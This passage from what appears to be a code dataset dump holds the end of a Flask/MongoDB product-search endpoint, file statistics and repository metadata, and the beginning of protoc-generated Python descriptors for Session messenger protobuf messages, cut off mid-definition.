"user", "localField": "supplier", "foreignField": "_id", "as": "supplier" }}, {"$unwind": "$supplier"} ]) if products: products = json.loads(dumps(products)) if len(products) > 0: return jsonify({ "status": "200", "message": "products_searched_ok", "data": products }) else: return jsonify({ "status": "404", "message": "products_not_found", "data": [] }) else: return jsonify({ "status": "404", "message": "products_not_found", "data": [] }) else: return jsonify({ "status": "404", "message": "category_not_found", "data": [] }) else: return jsonify({ "status": "404", "message": "category_not_found", "data": [] }) elif search_criteria == "supplier": suppliers = mongo.db.user.aggregate([ { "$search": { "index": "supplier_index", "text": { "query": search_string, "path": ["first_name", "last_name"], "fuzzy": {} } } }, {"$match": {"$and": [{"role": "SUPPLIER"}, {"record_status": "ACTIVE"}]}}, ]) if suppliers: suppliers = json.loads(dumps(suppliers)) if len(suppliers) > 0: supplier = suppliers[0] supplier = supplier["_id"]["$oid"] products = mongo.db.product.aggregate([ {"$match": {"$and": [{"supplier": ObjectId(supplier)}, {"record_status": "ACTIVE"}]}}, {"$lookup": { "from": "category", "localField": "category", "foreignField": "_id", "as": "category" }}, {"$unwind": "$category"}, {"$lookup": { "from": "user", "localField": "supplier", "foreignField": "_id", "as": "supplier" }}, {"$unwind": "$supplier"} ]) if products: products = json.loads(dumps(products)) if len(products) > 0: return jsonify({ "status": "200", "message": "products_searched_ok", "data": products }) else: return jsonify({ "status": "404", "message": "products_not_found", "data": [] }) else: return jsonify({ "status": "404", "message": "products_not_found", "data": [] }) else: return jsonify({ "status": "404", "message": "supplier_not_found", "data": [] }) else: return jsonify({ "status": "404", "message": "supplier_not_found", "data": [] })
29.852
106
0.359373
452
7,463
5.767699
0.161504
0.064825
0.094745
0.088224
0.634446
0.622555
0.556578
0.541235
0.541235
0.50748
0
0.012662
0.513198
7,463
250
107
29.852
0.704927
0.011122
0
0.747475
0
0
0.190567
0.003388
0
0
0
0
0
1
0.005051
false
0
0.030303
0
0.10101
0.025253
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f61ac939c69d6d4b1482c7f615c5a7ea8cb11d9b
70,474
py
Python
sogs/session_pb2.py
Bilb/session-pysogs
eb6f13e26d16f0119e87b41ffb86813c3c177ab9
[ "MIT" ]
1
2022-03-08T06:34:34.000Z
2022-03-08T06:34:34.000Z
sogs/session_pb2.py
Bilb/session-pysogs
eb6f13e26d16f0119e87b41ffb86813c3c177ab9
[ "MIT" ]
null
null
null
sogs/session_pb2.py
Bilb/session-pysogs
eb6f13e26d16f0119e87b41ffb86813c3c177ab9
[ "MIT" ]
null
null
null
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: sogs/session.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() DESCRIPTOR = _descriptor.FileDescriptor( name='sogs/session.proto', package='signalservice', syntax='proto2', serialized_options=None, serialized_pb=_b('\n\x12sogs/session.proto\x12\rsignalservice\"\xa1\x01\n\x08\x45nvelope\x12*\n\x04type\x18\x01 \x02(\x0e\x32\x1c.signalservice.Envelope.Type\x12\x0e\n\x06source\x18\x02 \x01(\t\x12\x11\n\ttimestamp\x18\x05 \x02(\x04\x12\x0f\n\x07\x63ontent\x18\x08 \x01(\x0c\"5\n\x04Type\x12\x13\n\x0fSESSION_MESSAGE\x10\x06\x12\x18\n\x14\x43LOSED_GROUP_MESSAGE\x10\x07\"{\n\rTypingMessage\x12\x11\n\ttimestamp\x18\x01 \x02(\x04\x12\x33\n\x06\x61\x63tion\x18\x02 \x02(\x0e\x32#.signalservice.TypingMessage.Action\"\"\n\x06\x41\x63tion\x12\x0b\n\x07STARTED\x10\x00\x12\x0b\n\x07STOPPED\x10\x01\"+\n\x06Unsend\x12\x11\n\ttimestamp\x18\x01 \x02(\x04\x12\x0e\n\x06\x61uthor\x18\x02 \x02(\t\"\x97\x03\n\x07\x43ontent\x12/\n\x0b\x64\x61taMessage\x18\x01 \x01(\x0b\x32\x1a.signalservice.DataMessage\x12/\n\x0b\x63\x61llMessage\x18\x03 \x01(\x0b\x32\x1a.signalservice.CallMessage\x12\x35\n\x0ereceiptMessage\x18\x05 \x01(\x0b\x32\x1d.signalservice.ReceiptMessage\x12\x33\n\rtypingMessage\x18\x06 \x01(\x0b\x32\x1c.signalservice.TypingMessage\x12\x41\n\x14\x63onfigurationMessage\x18\x07 \x01(\x0b\x32#.signalservice.ConfigurationMessage\x12M\n\x1a\x64\x61taExtractionNotification\x18\x08 \x01(\x0b\x32).signalservice.DataExtractionNotification\x12,\n\runsendMessage\x18\t \x01(\x0b\x32\x15.signalservice.Unsend\"0\n\x07KeyPair\x12\x11\n\tpublicKey\x18\x01 \x02(\x0c\x12\x12\n\nprivateKey\x18\x02 \x02(\x0c\"\x96\x01\n\x1a\x44\x61taExtractionNotification\x12<\n\x04type\x18\x01 \x02(\x0e\x32..signalservice.DataExtractionNotification.Type\x12\x11\n\ttimestamp\x18\x02 \x01(\x04\"\'\n\x04Type\x12\x0e\n\nSCREENSHOT\x10\x01\x12\x0f\n\x0bMEDIA_SAVED\x10\x02\"\x97\x0c\n\x0b\x44\x61taMessage\x12\x0c\n\x04\x62ody\x18\x01 \x01(\t\x12\x35\n\x0b\x61ttachments\x18\x02 \x03(\x0b\x32 .signalservice.AttachmentPointer\x12*\n\x05group\x18\x03 \x01(\x0b\x32\x1b.signalservice.GroupContext\x12\r\n\x05\x66lags\x18\x04 \x01(\r\x12\x13\n\x0b\x65xpireTimer\x18\x05 \x01(\r\x12\x12\n\nprofileKey\x18\x06 \x01(\x0c\x12\x11\n\ttimestamp\x18\x07 \x01(\x04\x12/\n\x05quote\x18\x08 \x01(\x0b\x32 .signalservice.DataMessage.Quote\x12\x33\n\x07preview\x18\n \x03(\x0b\x32\".signalservice.DataMessage.Preview\x12\x37\n\x07profile\x18\x65 \x01(\x0b\x32&.signalservice.DataMessage.LokiProfile\x12K\n\x13openGroupInvitation\x18\x66 \x01(\x0b\x32..signalservice.DataMessage.OpenGroupInvitation\x12W\n\x19\x63losedGroupControlMessage\x18h \x01(\x0b\x32\x34.signalservice.DataMessage.ClosedGroupControlMessage\x12\x12\n\nsyncTarget\x18i \x01(\t\x1a\xe9\x01\n\x05Quote\x12\n\n\x02id\x18\x01 \x02(\x04\x12\x0e\n\x06\x61uthor\x18\x02 \x02(\t\x12\x0c\n\x04text\x18\x03 \x01(\t\x12\x46\n\x0b\x61ttachments\x18\x04 \x03(\x0b\x32\x31.signalservice.DataMessage.Quote.QuotedAttachment\x1an\n\x10QuotedAttachment\x12\x13\n\x0b\x63ontentType\x18\x01 \x01(\t\x12\x10\n\x08\x66ileName\x18\x02 \x01(\t\x12\x33\n\tthumbnail\x18\x03 \x01(\x0b\x32 .signalservice.AttachmentPointer\x1aV\n\x07Preview\x12\x0b\n\x03url\x18\x01 \x02(\t\x12\r\n\x05title\x18\x02 \x01(\t\x12/\n\x05image\x18\x03 \x01(\x0b\x32 .signalservice.AttachmentPointer\x1a:\n\x0bLokiProfile\x12\x13\n\x0b\x64isplayName\x18\x01 \x01(\t\x12\x16\n\x0eprofilePicture\x18\x02 \x01(\t\x1a\x30\n\x13OpenGroupInvitation\x12\x0b\n\x03url\x18\x01 \x02(\t\x12\x0c\n\x04name\x18\x03 \x02(\t\x1a\x9a\x04\n\x19\x43losedGroupControlMessage\x12G\n\x04type\x18\x01 \x02(\x0e\x32\x39.signalservice.DataMessage.ClosedGroupControlMessage.Type\x12\x11\n\tpublicKey\x18\x02 \x01(\x0c\x12\x0c\n\x04name\x18\x03 \x01(\t\x12\x31\n\x11\x65ncryptionKeyPair\x18\x04 \x01(\x0b\x32\x16.signalservice.KeyPair\x12\x0f\n\x07members\x18\x05 \x03(\x0c\x12\x0e\n\x06\x61\x64mins\x18\x06 \x03(\x0c\x12U\n\x08wrappers\x18\x07 \x03(\x0b\x32\x43.signalservice.DataMessage.ClosedGroupControlMessage.KeyPairWrapper\x12\x13\n\x0b\x65xpireTimer\x18\x08 \x01(\r\x1a=\n\x0eKeyPairWrapper\x12\x11\n\tpublicKey\x18\x01 \x02(\x0c\x12\x18\n\x10\x65ncryptedKeyPair\x18\x02 \x02(\x0c\"\x93\x01\n\x04Type\x12\x07\n\x03NEW\x10\x01\x12\x17\n\x13\x45NCRYPTION_KEY_PAIR\x10\x03\x12\x0f\n\x0bNAME_CHANGE\x10\x04\x12\x11\n\rMEMBERS_ADDED\x10\x05\x12\x13\n\x0fMEMBERS_REMOVED\x10\x06\x12\x0f\n\x0bMEMBER_LEFT\x10\x07\x12\x1f\n\x1b\x45NCRYPTION_KEY_PAIR_REQUEST\x10\x08\"$\n\x05\x46lags\x12\x1b\n\x17\x45XPIRATION_TIMER_UPDATE\x10\x02\"\xcd\x01\n\x0b\x43\x61llMessage\x12-\n\x04type\x18\x01 \x02(\x0e\x32\x1f.signalservice.CallMessage.Type\x12\x0c\n\x04sdps\x18\x02 \x03(\t\x12\x17\n\x0fsdpMLineIndexes\x18\x03 \x03(\r\x12\x0f\n\x07sdpMids\x18\x04 \x03(\t\"W\n\x04Type\x12\t\n\x05OFFER\x10\x01\x12\n\n\x06\x41NSWER\x10\x02\x12\x16\n\x12PROVISIONAL_ANSWER\x10\x03\x12\x12\n\x0eICE_CANDIDATES\x10\x04\x12\x0c\n\x08\x45ND_CALL\x10\x05\"\xce\x03\n\x14\x43onfigurationMessage\x12\x45\n\x0c\x63losedGroups\x18\x01 \x03(\x0b\x32/.signalservice.ConfigurationMessage.ClosedGroup\x12\x12\n\nopenGroups\x18\x02 \x03(\t\x12\x13\n\x0b\x64isplayName\x18\x03 \x01(\t\x12\x16\n\x0eprofilePicture\x18\x04 \x01(\t\x12\x12\n\nprofileKey\x18\x05 \x01(\x0c\x12=\n\x08\x63ontacts\x18\x06 \x03(\x0b\x32+.signalservice.ConfigurationMessage.Contact\x1a\x82\x01\n\x0b\x43losedGroup\x12\x11\n\tpublicKey\x18\x01 \x01(\x0c\x12\x0c\n\x04name\x18\x02 \x01(\t\x12\x31\n\x11\x65ncryptionKeyPair\x18\x03 \x01(\x0b\x32\x16.signalservice.KeyPair\x12\x0f\n\x07members\x18\x04 \x03(\x0c\x12\x0e\n\x06\x61\x64mins\x18\x05 \x03(\x0c\x1aV\n\x07\x43ontact\x12\x11\n\tpublicKey\x18\x01 \x02(\x0c\x12\x0c\n\x04name\x18\x02 \x02(\t\x12\x16\n\x0eprofilePicture\x18\x03 \x01(\t\x12\x12\n\nprofileKey\x18\x04 \x01(\x0c\"g\n\x0eReceiptMessage\x12\x30\n\x04type\x18\x01 \x02(\x0e\x32\".signalservice.ReceiptMessage.Type\x12\x11\n\ttimestamp\x18\x02 \x03(\x04\"\x10\n\x04Type\x12\x08\n\x04READ\x10\x01\"\xec\x01\n\x11\x41ttachmentPointer\x12\n\n\x02id\x18\x01 \x02(\x06\x12\x13\n\x0b\x63ontentType\x18\x02 \x01(\t\x12\x0b\n\x03key\x18\x03 \x01(\x0c\x12\x0c\n\x04size\x18\x04 \x01(\r\x12\x11\n\tthumbnail\x18\x05 \x01(\x0c\x12\x0e\n\x06\x64igest\x18\x06 \x01(\x0c\x12\x10\n\x08\x66ileName\x18\x07 \x01(\t\x12\r\n\x05\x66lags\x18\x08 \x01(\r\x12\r\n\x05width\x18\t \x01(\r\x12\x0e\n\x06height\x18\n \x01(\r\x12\x0f\n\x07\x63\x61ption\x18\x0b \x01(\t\x12\x0b\n\x03url\x18\x65 \x01(\t\"\x1a\n\x05\x46lags\x12\x11\n\rVOICE_MESSAGE\x10\x01\"\xf5\x01\n\x0cGroupContext\x12\n\n\x02id\x18\x01 \x01(\x0c\x12.\n\x04type\x18\x02 \x01(\x0e\x32 .signalservice.GroupContext.Type\x12\x0c\n\x04name\x18\x03 \x01(\t\x12\x0f\n\x07members\x18\x04 \x03(\t\x12\x30\n\x06\x61vatar\x18\x05 \x01(\x0b\x32 .signalservice.AttachmentPointer\x12\x0e\n\x06\x61\x64mins\x18\x06 \x03(\t\"H\n\x04Type\x12\x0b\n\x07UNKNOWN\x10\x00\x12\n\n\x06UPDATE\x10\x01\x12\x0b\n\x07\x44\x45LIVER\x10\x02\x12\x08\n\x04QUIT\x10\x03\x12\x10\n\x0cREQUEST_INFO\x10\x04') ) _ENVELOPE_TYPE = _descriptor.EnumDescriptor( name='Type', full_name='signalservice.Envelope.Type', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='SESSION_MESSAGE', index=0, number=6, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='CLOSED_GROUP_MESSAGE', index=1, number=7, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=146, serialized_end=199, ) _sym_db.RegisterEnumDescriptor(_ENVELOPE_TYPE) _TYPINGMESSAGE_ACTION = _descriptor.EnumDescriptor( name='Action', full_name='signalservice.TypingMessage.Action', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='STARTED', index=0, number=0, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='STOPPED', index=1, number=1, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=290, serialized_end=324, ) _sym_db.RegisterEnumDescriptor(_TYPINGMESSAGE_ACTION) _DATAEXTRACTIONNOTIFICATION_TYPE = _descriptor.EnumDescriptor( name='Type', full_name='signalservice.DataExtractionNotification.Type', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='SCREENSHOT', index=0, number=1, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='MEDIA_SAVED', index=1, number=2, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=943, serialized_end=982, ) _sym_db.RegisterEnumDescriptor(_DATAEXTRACTIONNOTIFICATION_TYPE) _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE_TYPE = _descriptor.EnumDescriptor( name='Type', full_name='signalservice.DataMessage.ClosedGroupControlMessage.Type', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='NEW', index=0, number=1, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='ENCRYPTION_KEY_PAIR', index=1, number=3, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='NAME_CHANGE', index=2, number=4, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='MEMBERS_ADDED', index=3, number=5, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='MEMBERS_REMOVED', index=4, number=6, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='MEMBER_LEFT', index=5, number=7, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='ENCRYPTION_KEY_PAIR_REQUEST', index=6, number=8, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=2359, serialized_end=2506, ) _sym_db.RegisterEnumDescriptor(_DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE_TYPE) _DATAMESSAGE_FLAGS = _descriptor.EnumDescriptor( name='Flags', full_name='signalservice.DataMessage.Flags', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='EXPIRATION_TIMER_UPDATE', index=0, number=2, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=2508, serialized_end=2544, ) _sym_db.RegisterEnumDescriptor(_DATAMESSAGE_FLAGS) _CALLMESSAGE_TYPE = _descriptor.EnumDescriptor( name='Type', full_name='signalservice.CallMessage.Type', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='OFFER', index=0, number=1, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='ANSWER', index=1, number=2, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='PROVISIONAL_ANSWER', index=2, number=3, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='ICE_CANDIDATES', index=3, number=4, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='END_CALL', index=4, number=5, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=2665, serialized_end=2752, ) _sym_db.RegisterEnumDescriptor(_CALLMESSAGE_TYPE) _RECEIPTMESSAGE_TYPE = _descriptor.EnumDescriptor( name='Type', full_name='signalservice.ReceiptMessage.Type', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='READ', index=0, number=1, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=3306, serialized_end=3322, ) _sym_db.RegisterEnumDescriptor(_RECEIPTMESSAGE_TYPE) _ATTACHMENTPOINTER_FLAGS = _descriptor.EnumDescriptor( name='Flags', full_name='signalservice.AttachmentPointer.Flags', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='VOICE_MESSAGE', index=0, number=1, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=3535, serialized_end=3561, ) _sym_db.RegisterEnumDescriptor(_ATTACHMENTPOINTER_FLAGS) _GROUPCONTEXT_TYPE = _descriptor.EnumDescriptor( name='Type', full_name='signalservice.GroupContext.Type', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='UNKNOWN', index=0, number=0, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='UPDATE', index=1, number=1, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='DELIVER', index=2, number=2, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='QUIT', index=3, number=3, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='REQUEST_INFO', index=4, number=4, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=3737, serialized_end=3809, ) _sym_db.RegisterEnumDescriptor(_GROUPCONTEXT_TYPE) _ENVELOPE = _descriptor.Descriptor( name='Envelope', full_name='signalservice.Envelope', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='type', full_name='signalservice.Envelope.type', index=0, number=1, type=14, cpp_type=8, label=2, has_default_value=False, default_value=6, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='source', full_name='signalservice.Envelope.source', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='timestamp', full_name='signalservice.Envelope.timestamp', index=2, number=5, type=4, cpp_type=4, label=2, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='content', full_name='signalservice.Envelope.content', index=3, number=8, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ _ENVELOPE_TYPE, ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=38, serialized_end=199, ) _TYPINGMESSAGE = _descriptor.Descriptor( name='TypingMessage', full_name='signalservice.TypingMessage', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='timestamp', full_name='signalservice.TypingMessage.timestamp', index=0, number=1, type=4, cpp_type=4, label=2, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='action', full_name='signalservice.TypingMessage.action', index=1, number=2, type=14, cpp_type=8, label=2, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ _TYPINGMESSAGE_ACTION, ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=201, serialized_end=324, ) _UNSEND = _descriptor.Descriptor( name='Unsend', full_name='signalservice.Unsend', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='timestamp', full_name='signalservice.Unsend.timestamp', index=0, number=1, type=4, cpp_type=4, label=2, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='author', full_name='signalservice.Unsend.author', index=1, number=2, type=9, cpp_type=9, label=2, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=326, serialized_end=369, ) _CONTENT = _descriptor.Descriptor( name='Content', full_name='signalservice.Content', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='dataMessage', full_name='signalservice.Content.dataMessage', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='callMessage', full_name='signalservice.Content.callMessage', index=1, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='receiptMessage', full_name='signalservice.Content.receiptMessage', index=2, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='typingMessage', full_name='signalservice.Content.typingMessage', index=3, number=6, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='configurationMessage', full_name='signalservice.Content.configurationMessage', index=4, number=7, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='dataExtractionNotification', full_name='signalservice.Content.dataExtractionNotification', index=5, number=8, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='unsendMessage', full_name='signalservice.Content.unsendMessage', index=6, number=9, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=372, serialized_end=779, ) _KEYPAIR = _descriptor.Descriptor( name='KeyPair', full_name='signalservice.KeyPair', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='publicKey', full_name='signalservice.KeyPair.publicKey', index=0, number=1, type=12, cpp_type=9, label=2, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='privateKey', full_name='signalservice.KeyPair.privateKey', index=1, number=2, type=12, cpp_type=9, label=2, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=781, serialized_end=829, ) _DATAEXTRACTIONNOTIFICATION = _descriptor.Descriptor( name='DataExtractionNotification', full_name='signalservice.DataExtractionNotification', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='type', full_name='signalservice.DataExtractionNotification.type', index=0, number=1, type=14, cpp_type=8, label=2, has_default_value=False, default_value=1, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='timestamp', full_name='signalservice.DataExtractionNotification.timestamp', index=1, number=2, type=4, cpp_type=4, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ _DATAEXTRACTIONNOTIFICATION_TYPE, ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=832, serialized_end=982, ) _DATAMESSAGE_QUOTE_QUOTEDATTACHMENT = _descriptor.Descriptor( name='QuotedAttachment', full_name='signalservice.DataMessage.Quote.QuotedAttachment', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='contentType', full_name='signalservice.DataMessage.Quote.QuotedAttachment.contentType', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='fileName', full_name='signalservice.DataMessage.Quote.QuotedAttachment.fileName', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='thumbnail', full_name='signalservice.DataMessage.Quote.QuotedAttachment.thumbnail', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=1657, serialized_end=1767, ) _DATAMESSAGE_QUOTE = _descriptor.Descriptor( name='Quote', full_name='signalservice.DataMessage.Quote', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='id', full_name='signalservice.DataMessage.Quote.id', index=0, number=1, type=4, cpp_type=4, label=2, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='author', full_name='signalservice.DataMessage.Quote.author', index=1, number=2, type=9, cpp_type=9, label=2, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='text', full_name='signalservice.DataMessage.Quote.text', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='attachments', full_name='signalservice.DataMessage.Quote.attachments', index=3, number=4, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_DATAMESSAGE_QUOTE_QUOTEDATTACHMENT, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=1534, serialized_end=1767, ) _DATAMESSAGE_PREVIEW = _descriptor.Descriptor( name='Preview', full_name='signalservice.DataMessage.Preview', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='url', full_name='signalservice.DataMessage.Preview.url', index=0, number=1, type=9, cpp_type=9, label=2, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='title', full_name='signalservice.DataMessage.Preview.title', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='image', full_name='signalservice.DataMessage.Preview.image', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=1769, serialized_end=1855, ) _DATAMESSAGE_LOKIPROFILE = _descriptor.Descriptor( name='LokiProfile', full_name='signalservice.DataMessage.LokiProfile', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='displayName', full_name='signalservice.DataMessage.LokiProfile.displayName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='profilePicture', full_name='signalservice.DataMessage.LokiProfile.profilePicture', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, 